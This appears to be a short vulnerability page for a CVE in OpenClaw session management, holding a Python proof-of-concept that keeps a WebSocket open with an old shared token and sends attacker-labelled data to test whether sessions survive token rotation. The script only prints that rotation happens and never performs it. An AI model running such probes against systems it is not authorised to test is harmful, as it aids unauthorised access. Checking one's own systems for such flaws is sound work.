CVE-2026-42421 OpenClaw会话管理漏洞

import asyncio import websockets # This PoC demonstrates maintaining a WebSocket connection # after the shared gateway token has been rotated. async def check_session_persistence(target_url): # 1. Establish connection with the initial token old_token = "initial_shared_token" uri = f"{target_url}?token={old_token}" print(f"[*] Attempting to connect to {uri}...") try: async with websockets.connect(uri) as websocket: print("[+] Connection established successfully.") # 2. Simulate the scenario where the admin rotates the token print("[!] Simulating token rotation on the server...") # The server changes the valid token to 'new_shared_token' # 3. Attempt to use the existing connection (which should be invalid) print("[*] Attempting to send data via the old connection...") payload = "DATA_FROM_ATTACKER" await websocket.send(payload) response = await websocket.recv() print(f"[+] Server responded: {response}") print("[!] Vulnerability Confirmed: The session survived token rotation.") except Exception as e: print(f"[-] Connection failed or closed: {e}") print("[+] System appears patched (session terminated).") # Usage: asyncio.run(check_session_persistence("ws://target-ip:port/ws"))